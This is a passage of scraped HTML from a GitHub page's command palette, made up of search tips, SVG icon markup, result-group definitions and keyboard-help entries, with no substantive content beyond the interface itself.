data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">></kbd> to activate command mode </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Go to your accessibility settings to change your keyboard shortcuts </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type author:@me to search your content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:pr to filter to pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:issue to filter to issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:project to filter to projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:open to filter to open content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="mx-3 my-2 flash flash-error d-flex flex-items-center" data-scope-types="*" data-on-error> <div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> </div> <div class="px-2"> We’ve encountered an error and some results aren't available at this time. Type a new search or try again later. </div> </command-palette-tip> <command-palette-tip class="h4 color-fg-default pl-3 pb-2 pt-3" data-on-empty data-scope-types="*" data-match-mode="[^?]|^$"> No results matched your search </command-palette-tip> <div hidden> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="arrow-right-color-fg-muted"> <svg height="16" class="octicon octicon-arrow-right color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 2.97a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06l2.97-2.97H3.75a.75.75 0 010-1.5h7.44L8.22 4.03a.75.75 0 010-1.06z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="arrow-right-color-fg-default"> <svg height="16" class="octicon octicon-arrow-right color-fg-default" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 2.97a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06l2.97-2.97H3.75a.75.75 0 010-1.5h7.44L8.22 4.03a.75.75 0 010-1.06z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="codespaces-color-fg-muted"> <svg height="16" class="octicon octicon-codespaces color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 1.75C2 .784 2.784 0 3.75 0h8.5C13.216 0 14 .784 14 1.75v5a1.75 1.75 0 01-1.75 1.75h-8.5A1.75 1.75 0 012 6.75v-5zm1.75-.25a.25.25 0 00-.25.25v5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25v-5a.25.25 0 00-.25-.25h-8.5zM0 11.25c0-.966.784-1.75 1.75-1.75h12.5c.966 0 1.75.784 1.75 1.75v3A1.75 1.75 0 0114.25 16H1.75A1.75 1.75 0 010 14.25v-3zM1.75 11a.25.25 0 00-.25.25v3c0 .138.112.25.25.25h12.5a.25.25 0 00.25-.25v-3a.25.25 0 00-.25-.25H1.75z"></path><path fill-rule="evenodd" d="M3 12.75a.75.75 0 01.75-.75h.5a.75.75 0 010 1.5h-.5a.75.75 0 01-.75-.75zm4 0a.75.75 0 01.75-.75h4.5a.75.75 0 010 1.5h-4.5a.75.75 0 01-.75-.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="copy-color-fg-muted"> <svg height="16" class="octicon octicon-copy color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="dash-color-fg-muted"> <svg height="16" class="octicon octicon-dash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 7.75A.75.75 0 012.75 7h10a.75.75 0 010 1.5h-10A.75.75 0 012 7.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="file-color-fg-muted"> <svg height="16" class="octicon octicon-file color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 00.25-.25V6h-2.75A1.75 1.75 0 019 4.25V1.5H3.75zm6.75.062V4.25c0 .138.112.25.25.25h2.688a.252.252 0 00-.011-.013l-2.914-2.914a.272.272 0 00-.013-.011zM2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0113.25 16h-9.5A1.75 1.75 0 012 14.25V1.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="gear-color-fg-muted"> <svg height="16" class="octicon octicon-gear color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.429 1.525a6.593 6.593 0 011.142 0c.036.003.108.036.137.146l.289 1.105c.147.56.55.967.997 1.189.174.086.341.183.501.29.417.278.97.423 1.53.27l1.102-.303c.11-.03.175.016.195.046.219.31.41.641.573.989.014.031.022.11-.059.19l-.815.806c-.411.406-.562.957-.53 1.456a4.588 4.588 0 010 .582c-.032.499.119 1.05.53 1.456l.815.806c.08.08.073.159.059.19a6.494 6.494 0 01-.573.99c-.02.029-.086.074-.195.045l-1.103-.303c-.559-.153-1.112-.008-1.529.27-.16.107-.327.204-.5.29-.449.222-.851.628-.998 1.189l-.289 1.105c-.029.11-.101.143-.137.146a6.613 6.613 0 01-1.142 0c-.036-.003-.108-.037-.137-.146l-.289-1.105c-.147-.56-.55-.967-.997-1.189a4.502 4.502 0 01-.501-.29c-.417-.278-.97-.423-1.53-.27l-1.102.303c-.11.03-.175-.016-.195-.046a6.492 6.492 0 01-.573-.989c-.014-.031-.022-.11.059-.19l.815-.806c.411-.406.562-.957.53-1.456a4.587 4.587 0 010-.582c.032-.499-.119-1.05-.53-1.456l-.815-.806c-.08-.08-.073-.159-.059-.19a6.44 6.44 0 01.573-.99c.02-.029.086-.075.195-.045l1.103.303c.559.153 1.112.008 1.529-.27.16-.107.327-.204.5-.29.449-.222.851-.628.998-1.189l.289-1.105c.029-.11.101-.143.137-.146zM8 0c-.236 0-.47.01-.701.03-.743.065-1.29.615-1.458 1.261l-.29 1.106c-.017.066-.078.158-.211.224a5.994 5.994 0 00-.668.386c-.123.082-.233.09-.3.071L3.27 2.776c-.644-.177-1.392.02-1.82.63a7.977 7.977 0 00-.704 1.217c-.315.675-.111 1.422.363 1.891l.815.806c.05.048.098.147.088.294a6.084 6.084 0 000 .772c.01.147-.038.246-.088.294l-.815.806c-.474.469-.678 1.216-.363 1.891.2.428.436.835.704 1.218.428.609 1.176.806 1.82.63l1.103-.303c.066-.019.176-.011.299.071.213.143.436.272.668.386.133.066.194.158.212.224l.289 1.106c.169.646.715 1.196 1.458 1.26a8.094 8.094 0 001.402 0c.743-.064 1.29-.614 1.458-1.26l.29-1.106c.017-.066.078-.158.211-.224a5.98 5.98 0 00.668-.386c.123-.082.233-.09.3-.071l1.102.302c.644.177 1.392-.02 1.82-.63.268-.382.505-.789.704-1.217.315-.675.111-1.422-.364-1.891l-.814-.806c-.05-.048-.098-.147-.088-.294a6.1 6.1 0 000-.772c-.01-.147.039-.246.088-.294l.814-.806c.475-.469.679-1.216.364-1.891a7.992 7.992 0 00-.704-1.218c-.428-.609-1.176-.806-1.82-.63l-1.103.303c-.066.019-.176.011-.299-.071a5.991 5.991 0 00-.668-.386c-.133-.066-.194-.158-.212-.224L10.16 1.29C9.99.645 9.444.095 8.701.031A8.094 8.094 0 008 0zm1.5 8a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM11 8a3 3 0 11-6 0 3 3 0 016 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="lock-color-fg-muted"> <svg height="16" class="octicon octicon-lock color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 4v2h-.25A1.75 1.75 0 002 7.75v5.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-5.5A1.75 1.75 0 0012.25 6H12V4a4 4 0 10-8 0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="moon-color-fg-muted"> <svg height="16" class="octicon octicon-moon color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.598 1.591a.75.75 0 01.785-.175 7 7 0 11-8.967 8.967.75.75 0 01.961-.96 5.5 5.5 0 007.046-7.046.75.75 0 01.175-.786zm1.616 1.945a7 7 0 01-7.678 7.678 5.5 5.5 0 107.678-7.678z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="person-color-fg-muted"> <svg height="16" class="octicon octicon-person color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M10.5 5a2.5 2.5 0 11-5 0 2.5 2.5 0 015 0zm.061 3.073a4 4 0 10-5.123 0 6.004 6.004 0 00-3.431 5.142.75.75 0 001.498.07 4.5 4.5 0 018.99 0 .75.75 0 101.498-.07 6.005 6.005 0 00-3.432-5.142z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="pencil-color-fg-muted"> <svg height="16" class="octicon octicon-pencil color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.013 1.427a1.75 1.75 0 012.474 0l1.086 1.086a1.75 1.75 0 010 2.474l-8.61 8.61c-.21.21-.47.364-.756.445l-3.251.93a.75.75 0 01-.927-.928l.929-3.25a1.75 1.75 0 01.445-.758l8.61-8.61zm1.414 1.06a.25.25 0 00-.354 0L10.811 3.75l1.439 1.44 1.263-1.263a.25.25 0 000-.354l-1.086-1.086zM11.189 6.25L9.75 4.81l-6.286 6.287a.25.25 0 00-.064.108l-.558 1.953 1.953-.558a.249.249 0 00.108-.064l6.286-6.286z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="issue-opened-open"> <svg height="16" class="octicon octicon-issue-opened open" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="git-pull-request-draft-color-fg-muted"> <svg height="16" class="octicon octicon-git-pull-request-draft color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.25 1a2.25 2.25 0 00-.75 4.372v5.256a2.251 2.251 0 101.5 0V5.372A2.25 2.25 0 003.25 1zm0 11a.75.75 0 100 1.5.75.75 0 000-1.5zm9.5 3a2.25 2.25 0 100-4.5 2.25 2.25 0 000 4.5zm0-3a.75.75 0 100 1.5.75.75 0 000-1.5z"></path><path d="M14 7.5a1.25 1.25 0 11-2.5 0 1.25 1.25 0 012.5 0zm0-4.25a1.25 1.25 0 11-2.5 0 1.25 1.25 0 012.5 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="search-color-fg-muted"> <svg height="16" class="octicon octicon-search color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="sun-color-fg-muted"> <svg height="16" class="octicon octicon-sun color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 10.5a2.5 2.5 0 100-5 2.5 2.5 0 000 5zM8 12a4 4 0 100-8 4 4 0 000 8zM8 0a.75.75 0 01.75.75v1.5a.75.75 0 01-1.5 0V.75A.75.75 0 018 0zm0 13a.75.75 0 01.75.75v1.5a.75.75 0 01-1.5 0v-1.5A.75.75 0 018 13zM2.343 2.343a.75.75 0 011.061 0l1.06 1.061a.75.75 0 01-1.06 1.06l-1.06-1.06a.75.75 0 010-1.06zm9.193 9.193a.75.75 0 011.06 0l1.061 1.06a.75.75 0 01-1.06 1.061l-1.061-1.06a.75.75 0 010-1.061zM16 8a.75.75 0 01-.75.75h-1.5a.75.75 0 010-1.5h1.5A.75.75 0 0116 8zM3 8a.75.75 0 01-.75.75H.75a.75.75 0 010-1.5h1.5A.75.75 0 013 8zm10.657-5.657a.75.75 0 010 1.061l-1.061 1.06a.75.75 0 11-1.06-1.06l1.06-1.06a.75.75 0 011.06 0zm-9.193 9.193a.75.75 0 010 1.06l-1.06 1.061a.75.75 0 11-1.061-1.06l1.06-1.061a.75.75 0 011.061 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="sync-color-fg-muted"> <svg height="16" class="octicon octicon-sync color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 2.5a5.487 5.487 0 00-4.131 1.869l1.204 1.204A.25.25 0 014.896 6H1.25A.25.25 0 011 5.75V2.104a.25.25 0 01.427-.177l1.38 1.38A7.001 7.001 0 0114.95 7.16a.75.75 0 11-1.49.178A5.501 5.501 0 008 2.5zM1.705 8.005a.75.75 0 01.834.656 5.501 5.501 0 009.592 2.97l-1.204-1.204a.25.25 0 01.177-.427h3.646a.25.25 0 01.25.25v3.646a.25.25 0 01-.427.177l-1.38-1.38A7.001 7.001 0 011.05 8.84a.75.75 0 01.656-.834z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="trash-color-fg-muted"> <svg height="16" class="octicon octicon-trash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M6.5 1.75a.25.25 0 01.25-.25h2.5a.25.25 0 01.25.25V3h-3V1.75zm4.5 0V3h2.25a.75.75 0 010 1.5H2.75a.75.75 0 010-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75zM4.496 6.675a.75.75 0 10-1.492.15l.66 6.6A1.75 1.75 0 005.405 15h5.19c.9 0 1.652-.681 1.741-1.576l.66-6.6a.75.75 0 00-1.492-.149l-.66 6.6a.25.25 0 01-.249.225h-5.19a.25.25 0 01-.249-.225l-.66-6.6z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="key-color-fg-muted"> <svg height="16" class="octicon octicon-key color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M6.5 5.5a4 4 0 112.731 3.795.75.75 0 00-.768.18L7.44 10.5H6.25a.75.75 0 00-.75.75v1.19l-.06.06H4.25a.75.75 0 00-.75.75v1.19l-.06.06H1.75a.25.25 0 01-.25-.25v-1.69l5.024-5.023a.75.75 0 00.181-.768A3.995 3.995 0 016.5 5.5zm4-5.5a5.5 5.5 0 00-5.348 6.788L.22 11.72a.75.75 0 00-.22.53v2C0 15.216.784 16 1.75 16h2a.75.75 0 00.53-.22l.5-.5a.75.75 0 00.22-.53V14h.75a.75.75 0 00.53-.22l.5-.5a.75.75 0 00.22-.53V12h.75a.75.75 0 00.53-.22l.932-.932A5.5 5.5 0 1010.5 0zm.5 6a1 1 0 100-2 1 1 0 000 2z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="comment-discussion-color-fg-muted"> <svg height="16" class="octicon octicon-comment-discussion color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 2.75a.25.25 0 01.25-.25h8.5a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-3.5a.75.75 0 00-.53.22L3.5 11.44V9.25a.75.75 0 00-.75-.75h-1a.25.25 0 01-.25-.25v-5.5zM1.75 1A1.75 1.75 0 000 2.75v5.5C0 9.216.784 10 1.75 10H2v1.543a1.457 1.457 0 002.487 1.03L7.061 10h3.189A1.75 1.75 0 0012 8.25v-5.5A1.75 1.75 0 0010.25 1h-8.5zM14.5 4.75a.25.25 0 00-.25-.25h-.5a.75.75 0 110-1.5h.5c.966 0 1.75.784 1.75 1.75v5.5A1.75 1.75 0 0114.25 12H14v1.543a1.457 1.457 0 01-2.487 1.03L9.22 12.28a.75.75 0 111.06-1.06l2.22 2.22v-2.19a.75.75 0 01.75-.75h1a.25.25 0 00.25-.25v-5.5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="bell-color-fg-muted"> <svg height="16" class="octicon octicon-bell color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="bell-slash-color-fg-muted"> <svg height="16" class="octicon octicon-bell-slash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1.5c-.997 0-1.895.416-2.534 1.086A.75.75 0 014.38 1.55 5 5 0 0113 5v2.373a.75.75 0 01-1.5 0V5A3.5 3.5 0 008 1.5zM4.182 4.31L1.19 2.143a.75.75 0 10-.88 1.214L3 5.305v2.642a.25.25 0 01-.042.139L1.255 10.64A1.518 1.518 0 002.518 13h11.108l1.184.857a.75.75 0 10.88-1.214l-1.375-.996a1.196 1.196 0 00-.013-.01L4.198 4.321a.733.733 0 00-.016-.011zm7.373 7.19L4.5 6.391v1.556c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01.015.015 0 00.005.012.017.017 0 00.006.004l.007.001h9.037zM8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="paintbrush-color-fg-muted"> <svg height="16" class="octicon octicon-paintbrush color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.134 1.535C9.722 2.562 8.16 4.057 6.889 5.312 5.8 6.387 5.041 7.401 4.575 8.294a3.745 3.745 0 00-3.227 1.054c-.43.431-.69 1.066-.86 1.657a11.982 11.982 0 00-.358 1.914A21.263 21.263 0 000 15.203v.054l.75-.007-.007.75h.054a14.404 14.404 0 00.654-.012 21.243 21.243 0 001.63-.118c.62-.07 1.3-.18 1.914-.357.592-.17 1.226-.43 1.657-.861a3.745 3.745 0 001.055-3.217c.908-.461 1.942-1.216 3.04-2.3 1.279-1.262 2.764-2.825 3.775-4.249.501-.706.923-1.428 1.125-2.096.2-.659.235-1.469-.368-2.07-.606-.607-1.42-.55-2.069-.34-.66.213-1.376.646-2.076 1.155zm-3.95 8.48a3.76 3.76 0 00-1.19-1.192 9.758 9.758 0 011.161-1.607l1.658 1.658a9.853 9.853 0 01-1.63 1.142zM.742 16l.007-.75-.75.008A.75.75 0 00.743 16zM12.016 2.749c-1.224.89-2.605 2.189-3.822 3.384l1.718 1.718c1.21-1.205 2.51-2.597 3.387-3.833.47-.662.78-1.227.912-1.662.134-.444.032-.551.009-.575h-.001V1.78c-.014-.014-.112-.113-.548.027-.432.14-.995.462-1.655.942zM1.62 13.089a19.56 19.56 0 00-.104 1.395 19.55 19.55 0 001.396-.104 10.528 10.528 0 001.668-.309c.526-.151.856-.325 1.011-.48a2.25 2.25 0 00-3.182-3.182c-.155.155-.329.485-.48 1.01a10.515 10.515 0 00-.309 1.67z"></path></svg> </div> <command-palette-item-group data-group-id="top" data-group-title="Top result" data-group-hint="" data-group-limits="{}" data-default-priority="0" > </command-palette-item-group> <command-palette-item-group data-group-id="commands" data-group-title="Commands" data-group-hint="Type > to filter" data-group-limits="{"static_items_page":50,"issue":50,"pull_request":50,"discussion":50}" data-default-priority="1" > </command-palette-item-group> <command-palette-item-group data-group-id="global_commands" data-group-title="Global Commands" data-group-hint="Type > to filter" data-group-limits="{"issue":0,"pull_request":0,"discussion":0}" data-default-priority="2" > </command-palette-item-group> <command-palette-item-group data-group-id="this_page" data-group-title="This Page" data-group-hint="" data-group-limits="{}" data-default-priority="3" > </command-palette-item-group> <command-palette-item-group data-group-id="files" data-group-title="Files" data-group-hint="" data-group-limits="{}" data-default-priority="4" > </command-palette-item-group> <command-palette-item-group data-group-id="default" data-group-title="Default" data-group-hint="" data-group-limits="{"static_items_page":50}" data-default-priority="5" > </command-palette-item-group> <command-palette-item-group data-group-id="pages" data-group-title="Pages" data-group-hint="" data-group-limits="{"repository":10}" data-default-priority="6" > </command-palette-item-group> <command-palette-item-group data-group-id="access_policies" data-group-title="Access Policies" data-group-hint="" data-group-limits="{}" data-default-priority="7" > </command-palette-item-group> <command-palette-item-group data-group-id="organizations" data-group-title="Organizations" data-group-hint="" data-group-limits="{}" data-default-priority="8" > </command-palette-item-group> <command-palette-item-group data-group-id="repositories" data-group-title="Repositories" data-group-hint="" data-group-limits="{}" data-default-priority="9" > </command-palette-item-group> <command-palette-item-group data-group-id="references" data-group-title="Issues, pull requests, and discussions" data-group-hint="Type # to filter" data-group-limits="{}" data-default-priority="10" > </command-palette-item-group> <command-palette-item-group data-group-id="teams" data-group-title="Teams" data-group-hint="" data-group-limits="{}" data-default-priority="11" > </command-palette-item-group> <command-palette-item-group data-group-id="users" data-group-title="Users" data-group-hint="" data-group-limits="{}" data-default-priority="12" > </command-palette-item-group> <command-palette-item-group data-group-id="projects" data-group-title="Projects" data-group-hint="" data-group-limits="{}" data-default-priority="13" > </command-palette-item-group> <command-palette-item-group data-group-id="footer" data-group-title="Footer" data-group-hint="" data-group-limits="{}" data-default-priority="14" > </command-palette-item-group> <command-palette-item-group data-group-id="modes_help" data-group-title="Modes" data-group-hint="" data-group-limits="{}" data-default-priority="15" > </command-palette-item-group> <command-palette-item-group data-group-id="filters_help" data-group-title="Use filters in issues, pull requests, discussions, and projects" data-group-hint="" data-group-limits="{}" data-default-priority="16" > </command-palette-item-group> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" data-targets="command-palette-page-stack.defaultPages" hidden > </command-palette-page> </div> <command-palette-page data-is-root> </command-palette-page> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" > </command-palette-page> </command-palette-page-stack> <server-defined-provider data-type="search-links" data-targets="command-palette.serverDefinedProviderElements"></server-defined-provider> <server-defined-provider data-type="help" data-targets="command-palette.serverDefinedProviderElements"> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="[""]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues</strong> and <strong>pull requests</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues, pull requests, discussions,</strong> and <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="@" data-scope-types="[""]" > <span data-target="command-palette-help.titleElement">Search for <strong>organizations, repositories,</strong> and <strong>users</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">@</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="!" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">!</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="/" data-scope-types="["repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>files</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">/</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix=">" > <span data-target="command-palette-help.titleElement">Activate <strong>command mode</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">></kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:pr" > <span data-target="command-palette-help.titleElement">Filter to pull requests</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:pr</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:issue" > <span data-target="command-palette-help.titleElement">Filter to issues</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:issue</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:discussion" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Filter to discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:discussion</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:project" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Filter to projects</span> <span 